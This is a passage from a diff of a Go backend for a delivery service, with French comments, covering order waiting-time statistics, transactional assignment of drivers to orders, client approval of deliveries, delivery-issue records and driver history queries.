query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
|
||||
c.created_at, c.updated_at,
|
||||
EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - c.created_at)) as waiting_seconds
|
||||
FROM commandes c
|
||||
WHERE c.status = 'pending'
|
||||
ORDER BY c.created_at ASC`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération commandes avec priorité: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []*models.CommandPriority
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
var waitingSeconds float64
|
||||
|
||||
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix,
|
||||
&createdAt, &updatedAt, &waitingSeconds)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur scan commande priorité: %w", err)
|
||||
}
|
||||
|
||||
cmd := &models.CommandPriority{
|
||||
ID: id,
|
||||
Username: username,
|
||||
Status: status,
|
||||
Address: adresse,
|
||||
TotalPrice: totalPrix,
|
||||
CreatedAt: createdAt,
|
||||
UpdatedAt: updatedAt,
|
||||
WaitingSeconds: int(waitingSeconds),
|
||||
WaitingMinutes: int(waitingSeconds / 60),
|
||||
}
|
||||
|
||||
commands = append(commands, cmd)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur itération résultats priorité: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [PRIORITY] %d commandes avec score de priorité calculé", len(commands))
|
||||
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// GetCommandWaitingTime récupère le temps d'attente d'une commande
|
||||
func (d *Database) GetCommandWaitingTime(commandID int) (int, error) {
|
||||
query := `SELECT EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - created_at))::INTEGER as waiting_seconds
|
||||
FROM commandes
|
||||
WHERE id = $1`
|
||||
|
||||
var waitingSeconds int
|
||||
err := d.QueryRow(query, commandID).Scan(&waitingSeconds)
|
||||
if err == sql.ErrNoRows {
|
||||
return 0, fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur récupération temps d'attente: %w", err)
|
||||
}
|
||||
|
||||
return waitingSeconds, nil
|
||||
}
|
||||
|
||||
// GetPendingCommandsStats récupère des statistiques sur les commandes en attente
|
||||
func (d *Database) GetPendingCommandsStats() (map[string]interface{}, error) {
|
||||
query := `SELECT
|
||||
COUNT(*) as total_pending,
|
||||
AVG(EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - created_at))) as avg_waiting_seconds,
|
||||
MIN(created_at) as oldest_command_date,
|
||||
MAX(created_at) as newest_command_date
|
||||
FROM commandes
|
||||
WHERE status = 'pending'`
|
||||
|
||||
var totalPending int
|
||||
var avgWaitingSeconds sql.NullFloat64
|
||||
var oldestDate, newestDate sql.NullTime
|
||||
|
||||
err := d.QueryRow(query).Scan(&totalPending, &avgWaitingSeconds, &oldestDate, &newestDate)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération stats: %w", err)
|
||||
}
|
||||
|
||||
stats := map[string]interface{}{
|
||||
"total_pending": totalPending,
|
||||
"avg_waiting_seconds": 0,
|
||||
"avg_waiting_minutes": 0,
|
||||
"oldest_command_date": nil,
|
||||
"newest_command_date": nil,
|
||||
"oldest_waiting_minutes": 0,
|
||||
}
|
||||
|
||||
if avgWaitingSeconds.Valid {
|
||||
stats["avg_waiting_seconds"] = int(avgWaitingSeconds.Float64)
|
||||
stats["avg_waiting_minutes"] = int(avgWaitingSeconds.Float64 / 60)
|
||||
}
|
||||
|
||||
if oldestDate.Valid {
|
||||
stats["oldest_command_date"] = oldestDate.Time
|
||||
waitingTime := time.Since(oldestDate.Time)
|
||||
stats["oldest_waiting_minutes"] = int(waitingTime.Minutes())
|
||||
}
|
||||
|
||||
if newestDate.Valid {
|
||||
stats["newest_command_date"] = newestDate.Time
|
||||
}
|
||||
|
||||
log.Printf("📊 [STATS] Commandes pending: %d | Attente moyenne: %d min | Plus ancienne: %d min",
|
||||
totalPending,
|
||||
stats["avg_waiting_minutes"],
|
||||
stats["oldest_waiting_minutes"])
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,383 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GetAvailableDeliveryPersons récupère tous les livreurs disponibles
|
||||
func (d *Database) GetAvailableDeliveryPersons() ([]map[string]interface{}, error) {
|
||||
query := `SELECT id, username, total, livraison
|
||||
FROM users
|
||||
WHERE role = 'livreur'
|
||||
ORDER BY username`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des livreurs: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var livreurs []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username string
|
||||
var total, livraison float64
|
||||
|
||||
err := rows.Scan(&id, &username, &total, &livraison)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan du livreur: %w", err)
|
||||
}
|
||||
|
||||
livreur := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"total": total,
|
||||
"livraison": livraison,
|
||||
}
|
||||
livreurs = append(livreurs, livreur)
|
||||
}
|
||||
|
||||
return livreurs, nil
|
||||
}
|
||||
|
||||
// Admin appelle cette fonction pour assigner un livreur
|
||||
func (d *Database) AssignDeliveryPerson(commandID int, livreurUsername string) error {
|
||||
log.Printf("📦 [AssignDeliveryPerson] START - commandID=%d, livreur=%s", commandID, livreurUsername)
|
||||
|
||||
// ✅ DÉMARRER UNE TRANSACTION
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur démarrage transaction: %v", err)
|
||||
return fmt.Errorf("erreur démarrage transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback() // Rollback automatique si non commité
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 1: Vérifier le livreur (DANS la transaction)
|
||||
// ============================================
|
||||
var role string
|
||||
checkQuery := `SELECT role FROM users WHERE username = $1 FOR UPDATE`
|
||||
err = tx.QueryRow(checkQuery, livreurUsername).Scan(&role)
|
||||
if err == sql.ErrNoRows {
|
||||
log.Printf("❌ Livreur '%s' non trouvé", livreurUsername)
|
||||
return fmt.Errorf("livreur non trouvé")
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur vérification livreur: %v", err)
|
||||
return fmt.Errorf("erreur lors de la vérification du livreur: %w", err)
|
||||
}
|
||||
if role != "livreur" {
|
||||
log.Printf("❌ L'utilisateur '%s' n'est pas un livreur (role=%s)", livreurUsername, role)
|
||||
return fmt.Errorf("l'utilisateur n'est pas un livreur")
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Livreur valide: %s", livreurUsername)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 2: Vérifier et VERROUILLER la commande
|
||||
// ✅ FOR UPDATE empêche les modifications concurrentes
|
||||
// ============================================
|
||||
var currentStatus string
|
||||
var currentLivreur sql.NullString
|
||||
statusQuery := `SELECT status, livreur_assign
|
||||
FROM commandes
|
||||
WHERE id = $1
|
||||
FOR UPDATE` // ⚠️ VERROUILLAGE CRITIQUE
|
||||
|
||||
err = tx.QueryRow(statusQuery, commandID).Scan(¤tStatus, ¤tLivreur)
|
||||
if err == sql.ErrNoRows {
|
||||
log.Printf("❌ Commande %d non trouvée", commandID)
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur vérification commande: %v", err)
|
||||
return fmt.Errorf("erreur lors de la vérification de la commande: %w", err)
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Commande trouvée: status=%s, livreur_assign=%s",
|
||||
currentStatus, currentLivreur.String)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 3: Vérifier que la commande est assignable
|
||||
// ============================================
|
||||
|
||||
// ✅ Vérifier si déjà assignée à un autre livreur
|
||||
if currentLivreur.Valid && currentLivreur.String != "" && currentLivreur.String != livreurUsername {
|
||||
log.Printf("❌ Commande déjà assignée à: %s", currentLivreur.String)
|
||||
return fmt.Errorf("commande déjà assignée au livreur '%s'", currentLivreur.String)
|
||||
}
|
||||
|
||||
// ✅ Vérifier le statut
|
||||
validStatusesForAssignment := []string{"pending", "support"}
|
||||
isValidStatus := false
|
||||
for _, vs := range validStatusesForAssignment {
|
||||
if currentStatus == vs {
|
||||
isValidStatus = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValidStatus {
|
||||
log.Printf("❌ Statut invalide pour assignation: %s", currentStatus)
|
||||
return fmt.Errorf("commande en statut '%s', impossible d'assigner un livreur", currentStatus)
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Statut valide pour assignation: %s", currentStatus)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 4: Assigner le livreur (ATOMIQUE)
|
||||
// ============================================
|
||||
updateQuery := `UPDATE commandes
|
||||
SET livreur_assign = $1,
|
||||
status = 'support',
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $2
|
||||
AND status IN ('pending', 'support')
|
||||
AND (livreur_assign IS NULL OR livreur_assign = '' OR livreur_assign = $1)`
|
||||
|
||||
result, err := tx.Exec(updateQuery, livreurUsername, commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur lors de l'assignation du livreur: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur RowsAffected: %v", err)
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
log.Printf("❌ Impossible d'assigner: conditions non remplies")
|
||||
return fmt.Errorf("impossible d'assigner la commande (déjà assignée ou statut changé)")
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Commande assignée au livreur: %s", livreurUsername)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 5: Ajouter un log (DANS la transaction)
|
||||
// ============================================
|
||||
logQuery := `INSERT INTO command_logs (command_id, status, message, actor, created_at)
|
||||
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)`
|
||||
|
||||
_, err = tx.Exec(logQuery, commandID, "support",
|
||||
fmt.Sprintf("Livraison assignée au livreur %s", livreurUsername),
|
||||
"admin")
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur ajout log: %v", err)
|
||||
// Non bloquant
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ COMMIT de la transaction
|
||||
// ============================================
|
||||
err = tx.Commit()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur COMMIT: %v", err)
|
||||
return fmt.Errorf("erreur commit transaction: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("🎉 [AssignDeliveryPerson] SUCCÈS - Commande %d assignée à %s", commandID, livreurUsername)
|
||||
log.Printf(" Workflow: pending → ✅ support (TRANSACTION COMMITTED)")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDeliveryPersonCommands récupère les commandes assignées à un livreur
|
||||
func (d *Database) GetDeliveryPersonCommands(livreurUsername string, status string) ([]map[string]interface{}, error) {
|
||||
query := `SELECT id, username, status, adresse, total_prix, livreur_assign, created_at, updated_at
|
||||
FROM commandes
|
||||
WHERE livreur_assign = $1`
|
||||
|
||||
args := []interface{}{livreurUsername}
|
||||
|
||||
if status != "" {
|
||||
query += " AND status = $2"
|
||||
args = append(args, status)
|
||||
}
|
||||
|
||||
query += " ORDER BY created_at DESC"
|
||||
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var livreurAssign sql.NullString
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &livreurAssign, &createdAt, &updatedAt)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan: %w", err)
|
||||
}
|
||||
|
||||
command := map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"livreur_assign": livreurAssign.String,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
}
|
||||
commands = append(commands, command)
|
||||
}
|
||||
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// ✅ NOUVELLE MÉTHODE: IncrementLivreurDeliveryCount incrémente le compteur de livraisons d'un livreur
|
||||
func (d *Database) IncrementLivreurDeliveryCount(livreurUsername string) error {
|
||||
query := `UPDATE users
|
||||
SET livraison = livraison + 1,
|
||||
total = total + 1,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1 AND role = 'livreur'`
|
||||
|
||||
result, err := d.Exec(query, livreurUsername)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de l'incrémentation des livraisons: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("livreur non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Livraison incrémentée pour le livreur: %s", livreurUsername)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) ApproveDelivery(commandID int, clientUsername string) error {
|
||||
log.Printf("📝 [ApproveDelivery] START - commandID=%d, client=%s", commandID, clientUsername)
|
||||
|
||||
// ✅ DÉMARRER UNE TRANSACTION
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur démarrage transaction: %v", err)
|
||||
return fmt.Errorf("erreur démarrage transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 1: Vérifier et VERROUILLER la commande
|
||||
// ============================================
|
||||
var commandUsername, currentStatus string
|
||||
var livreurAssign sql.NullString
|
||||
|
||||
checkQuery := `SELECT username, status, livreur_assign
|
||||
FROM commandes
|
||||
WHERE id = $1
|
||||
FOR UPDATE` // ⚠️ VERROUILLAGE CRITIQUE
|
||||
|
||||
err = tx.QueryRow(checkQuery, commandID).Scan(&commandUsername, ¤tStatus, &livreurAssign)
|
||||
if err == sql.ErrNoRows {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification de la commande: %w", err)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 2: Validations métier
|
||||
// ============================================
|
||||
|
||||
// ✅ Vérifier que c'est bien la commande du client
|
||||
if commandUsername != clientUsername {
|
||||
return fmt.Errorf("cette commande ne vous appartient pas")
|
||||
}
|
||||
|
||||
// ✅ Vérifier le statut
|
||||
if currentStatus != "livre" {
|
||||
return fmt.Errorf("cette commande n'est pas encore livrée (statut actuel: %s)", currentStatus)
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Validations OK: client=%s, status=%s", commandUsername, currentStatus)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 3: Mettre à jour le statut (ATOMIQUE)
|
||||
// ============================================
|
||||
updateQuery := `UPDATE commandes
|
||||
SET status = 'approved',
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $1
|
||||
AND status = 'livre'
|
||||
AND username = $2`
|
||||
|
||||
result, err := tx.Exec(updateQuery, commandID, clientUsername)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de l'approbation de la livraison: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("impossible d'approuver: statut changé ou commande introuvable")
|
||||
}
|
||||
|
||||
log.Printf(" ✅ Statut mis à jour: livre → approved")
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 4: Incrémenter le compteur du livreur (ATOMIQUE)
|
||||
// ============================================
|
||||
if livreurAssign.Valid && livreurAssign.String != "" {
|
||||
incrementQuery := `UPDATE users
|
||||
SET livraison = livraison + 1,
|
||||
total = total + 1,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1 AND role = 'livreur'`
|
||||
|
||||
result, err := tx.Exec(incrementQuery, livreurAssign.String)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur incrémentation livreur: %v", err)
|
||||
// Non bloquant mais on continue dans la transaction
|
||||
} else {
|
||||
rows, _ := result.RowsAffected()
|
||||
if rows > 0 {
|
||||
log.Printf(" ✅ Compteur livreur incrémenté: %s", livreurAssign.String)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 5: Ajouter un log (DANS la transaction)
|
||||
// ============================================
|
||||
logQuery := `INSERT INTO command_logs (command_id, status, message, actor, created_at)
|
||||
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)`
|
||||
|
||||
_, err = tx.Exec(logQuery, commandID, "approved",
|
||||
fmt.Sprintf("Livraison approuvée par le client %s", clientUsername),
|
||||
clientUsername)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur ajout log: %v", err)
|
||||
// Non bloquant
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ COMMIT de la transaction
|
||||
// ============================================
|
||||
err = tx.Commit()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur COMMIT: %v", err)
|
||||
return fmt.Errorf("erreur commit transaction: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("🎉 [ApproveDelivery] SUCCÈS - Commande %d approuvée par %s", commandID, clientUsername)
|
||||
log.Printf(" Workflow: livre → ✅ approved (TRANSACTION COMMITTED)")
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
)
|
||||
|
||||
func (d *Database) GetDeliveryIssues(status string) ([]models.DeliveryIssue, error) {
|
||||
query := `
|
||||
SELECT id, command_id, issue_type, description, status,
|
||||
reported_by, COALESCE(resolved_by, ''), COALESCE(resolution, ''),
|
||||
created_at, updated_at
|
||||
FROM delivery_issues
|
||||
`
|
||||
|
||||
var args []interface{}
|
||||
if status != "" {
|
||||
query += " WHERE status = $1"
|
||||
args = append(args, status)
|
||||
}
|
||||
|
||||
query += " ORDER BY created_at DESC"
|
||||
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération problèmes: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var issues []models.DeliveryIssue
|
||||
for rows.Next() {
|
||||
var issue models.DeliveryIssue
|
||||
err := rows.Scan(
|
||||
&issue.ID,
|
||||
&issue.CommandID,
|
||||
&issue.IssueType,
|
||||
&issue.Description,
|
||||
&issue.Status,
|
||||
&issue.ReportedBy,
|
||||
&issue.ResolvedBy,
|
||||
&issue.Resolution,
|
||||
&issue.CreatedAt,
|
||||
&issue.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur scan problème: %w", err)
|
||||
}
|
||||
issues = append(issues, issue)
|
||||
}
|
||||
|
||||
return issues, nil
|
||||
}
|
||||
|
||||
// CreateDeliveryIssue crée un nouveau problème
|
||||
func (d *Database) CreateDeliveryIssue(commandID int, issueType, description, reportedBy string) (*models.DeliveryIssue, error) {
|
||||
query := `
|
||||
INSERT INTO delivery_issues (command_id, issue_type, description, status, reported_by, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, 'open', $4, NOW(), NOW())
|
||||
RETURNING id, command_id, issue_type, description, status, reported_by, created_at, updated_at
|
||||
`
|
||||
|
||||
var issue models.DeliveryIssue
|
||||
err := d.QueryRow(query, commandID, issueType, description, reportedBy).Scan(
|
||||
&issue.ID,
|
||||
&issue.CommandID,
|
||||
&issue.IssueType,
|
||||
&issue.Description,
|
||||
&issue.Status,
|
||||
&issue.ReportedBy,
|
||||
&issue.CreatedAt,
|
||||
&issue.UpdatedAt,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur création problème: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Problème créé: ID=%d, Type=%s, Commande=%d", issue.ID, issueType, commandID)
|
||||
return &issue, nil
|
||||
}
|
||||
|
||||
// UpdateDeliveryIssue met à jour un problème
|
||||
func (d *Database) UpdateDeliveryIssue(issueID int, status, resolution, resolvedBy string) error {
|
||||
query := `
|
||||
UPDATE delivery_issues
|
||||
SET status = $1, resolution = $2, resolved_by = $3, updated_at = NOW()
|
||||
WHERE id = $4
|
||||
`
|
||||
|
||||
result, err := d.Exec(query, status, resolution, resolvedBy, issueID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur mise à jour problème: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("problème non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Problème %d mis à jour: status=%s", issueID, status)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,442 @@
|
||||
// ============================================
|
||||
// db/delivery_management_db.go
|
||||
// FONCTIONS DB POUR LA GESTION COMPLÈTE DES LIVREURS
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var allowedStatuses = map[string]bool{
|
||||
"available": true,
|
||||
"offline": true,
|
||||
"busy": true,
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📊 STATISTIQUES LIVREUR
|
||||
// ============================================
|
||||
|
||||
// CountDeliveriesByStatus compte les livraisons d'un livreur par statut
|
||||
func (d *Database) CountDeliveriesByStatus(livreurUsername string, statuses string) (int, error) {
|
||||
if statuses == "" {
|
||||
// Cas simple: toutes les livraisons
|
||||
query := `SELECT COUNT(*)
|
||||
FROM commandes
|
||||
WHERE livreur_assign = $1`
|
||||
|
||||
var count int
|
||||
err := d.QueryRow(query, livreurUsername).Scan(&count)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CountDeliveries] Erreur: %v", err)
|
||||
return 0, fmt.Errorf("erreur comptage livraisons: %w", err)
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// ✅ Valider les statuts
|
||||
cleanStatuses, err := ValidateStatuses(statuses)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CountDeliveries] Validation échouée: %v", err)
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// ✅ Construire la requête avec IN et placeholders
|
||||
placeholders := make([]string, len(cleanStatuses))
|
||||
args := []interface{}{livreurUsername}
|
||||
|
||||
for i, status := range cleanStatuses {
|
||||
placeholders[i] = fmt.Sprintf("$%d", i+2)
|
||||
args = append(args, status)
|
||||
}
|
||||
|
||||
query := fmt.Sprintf(`SELECT COUNT(*)
|
||||
FROM commandes
|
||||
WHERE livreur_assign = $1
|
||||
AND status IN (%s)`, strings.Join(placeholders, ","))
|
||||
|
||||
var count int
|
||||
err = d.QueryRow(query, args...).Scan(&count)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CountDeliveries] Erreur: %v", err)
|
||||
return 0, fmt.Errorf("erreur comptage livraisons: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [CountDeliveries] %d livraisons pour %s avec statuts %v",
|
||||
count, livreurUsername, cleanStatuses)
|
||||
|
||||
return count, nil
|
||||
}
|
||||
|
||||
func ValidateStatuses(statuses string) ([]string, error) {
|
||||
if statuses == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
statusList := strings.Split(statuses, ",")
|
||||
|
||||
// Liste blanche complète
|
||||
validStatusMap := map[string]bool{
|
||||
"pending": true,
|
||||
"support": true,
|
||||
"assigned": true,
|
||||
"en_route": true,
|
||||
"arrived": true,
|
||||
"livre": true,
|
||||
"approved": true,
|
||||
"failed": true,
|
||||
"cancelled": true,
|
||||
}
|
||||
|
||||
var cleanStatuses []string
|
||||
var invalidStatuses []string
|
||||
|
||||
for _, status := range statusList {
|
||||
status = strings.TrimSpace(status)
|
||||
|
||||
// Ignorer les chaînes vides
|
||||
if status == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if validStatusMap[status] {
|
||||
cleanStatuses = append(cleanStatuses, status)
|
||||
} else {
|
||||
invalidStatuses = append(invalidStatuses, status)
|
||||
}
|
||||
}
|
||||
|
||||
// Logger les statuts invalides
|
||||
if len(invalidStatuses) > 0 {
|
||||
log.Printf("⚠️ [ValidateStatuses] Statuts invalides ignorés: %v", invalidStatuses)
|
||||
}
|
||||
|
||||
if len(cleanStatuses) == 0 {
|
||||
return nil, fmt.Errorf("aucun statut valide trouvé dans: %s", statuses)
|
||||
}
|
||||
|
||||
return cleanStatuses, nil
|
||||
}
|
||||
|
||||
// GetLastDeliveryDate récupère la date de la dernière livraison d'un livreur
|
||||
func (d *Database) GetLastDeliveryDate(livreurUsername string) (*time.Time, error) {
|
||||
query := `SELECT MAX(updated_at)
|
||||
FROM commandes
|
||||
WHERE livreur_assign = $1
|
||||
AND status = 'approved'`
|
||||
|
||||
var lastDate sql.NullTime
|
||||
err := d.QueryRow(query, livreurUsername).Scan(&lastDate)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération dernière livraison: %w", err)
|
||||
}
|
||||
|
||||
if !lastDate.Valid {
|
||||
return nil, nil // Aucune livraison
|
||||
}
|
||||
|
||||
t := lastDate.Time
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// GetCurrentCommand récupère l'ID de la commande en cours d'un livreur
|
||||
func (d *Database) GetCurrentCommand(livreurUsername string) (int, error) {
|
||||
// Récupérer depuis Redis
|
||||
currentKey := fmt.Sprintf("delivery:current:%s", livreurUsername)
|
||||
currentIDStr, err := Redis.Get(RedisCtx, currentKey).Result()
|
||||
if err != nil {
|
||||
return 0, nil // Pas de commande en cours
|
||||
}
|
||||
|
||||
var currentID int
|
||||
_, err = fmt.Sscanf(currentIDStr, "%d", ¤tID)
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
return currentID, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📜 HISTORIQUE DES LIVRAISONS
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonHistory récupère l'historique paginé des livraisons d'un livreur
|
||||
func (d *Database) GetDeliveryPersonHistory(livreurUsername string, limit, offset int) ([]map[string]interface{}, error) {
|
||||
query := `
|
||||
SELECT
|
||||
c.id as command_id,
|
||||
c.username as client,
|
||||
c.status,
|
||||
c.adresse,
|
||||
c.total_prix,
|
||||
c.created_at as assigned_at,
|
||||
c.updated_at as completed_at
|
||||
FROM commandes c
|
||||
WHERE c.livreur_assign = $1
|
||||
ORDER BY c.created_at DESC
|
||||
LIMIT $2 OFFSET $3
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, livreurUsername, limit, offset)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération historique: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var history []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var commandID int
|
||||
var client, status, adresse string
|
||||
var totalPrix float64
|
||||
var assignedAt, completedAt time.Time
|
||||
|
||||
err := rows.Scan(
|
||||
&commandID,
|
||||
&client,
|
||||
&status,
|
||||
&adresse,
|
||||
&totalPrix,
|
||||
&assignedAt,
|
||||
&completedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur scan historique: %w", err)
|
||||
}
|
||||
|
||||
// Calculer la durée de livraison si complétée
|
||||
var deliveryTime float64
|
||||
if status == "approved" || status == "livre" {
|
||||
deliveryTime = completedAt.Sub(assignedAt).Minutes()
|
||||
}
|
||||
|
||||
entry := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"client": client,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"assigned_at": assignedAt.Format("2006-01-02 15:04:05"),
|
||||
"completed_at": completedAt.Format("2006-01-02 15:04:05"),
|
||||
"delivery_time": deliveryTime,
|
||||
}
|
||||
|
||||
history = append(history, entry)
|
||||
}
|
||||
|
||||
return history, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📍 GESTION POSITION GPS
|
||||
// ============================================
|
||||
// ⚠️ REMARQUE: Les fonctions UpdateDeliveryPersonLocation et GetDeliveryPersonLocation
|
||||
// sont déjà définies dans db/delivery_db.go
|
||||
// Nous réutilisons ces fonctions existantes au lieu de les redéfinir ici
|
||||
|
||||
// ============================================
|
||||
// 🔄 GESTION STATUT LIVREUR
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonStatus récupère le statut d'un livreur
|
||||
func (d *Database) GetDeliveryPersonStatus(livreurUsername string) (string, error) {
|
||||
